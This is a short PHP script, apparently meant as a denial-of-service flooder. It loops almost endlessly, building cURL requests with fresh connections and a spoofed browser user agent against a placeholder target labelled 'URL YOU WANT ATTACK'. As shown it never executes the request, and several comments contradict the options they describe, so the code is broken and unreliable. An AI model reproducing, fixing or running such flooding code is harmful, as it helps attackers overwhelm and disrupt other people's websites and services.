for ($i=0;$i<999999999999999;$i++){

    /**/
    $c=curl_init();
    curl_setopt($c,CURLOPT_URL,"URL YOU WANT ATTACK");
    curl_setopt($c,CURLOPT_DNS_USE_GLOBAL_CACHE,TRUE);//dns
    curl_setopt($c,CURLOPT_HEADER,0);//get the header
    curl_setopt($c,CURLOPT_CONNECTTIMEOUT ,10);//get the header
    curl_setopt($c,CURLOPT_NOBODY,0);//and *only* get the header
    curl_setopt($c,CURLOPT_RETURNTRANSFER,1);//get the response as a string from curl_exec(), rather than echoing it
    curl_setopt($c,CURLOPT_FRESH_CONNECT,1);//don't use a cached version of the url
    curl_setopt($c, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:11.0) Gecko Firefox/11.0');
    curl_setopt($c, CURLOPT_HTTPHEADER, array('Content-type: application/x-www-form-urlencoded;charset=UTF-8' ));

    echo "\n $i";

}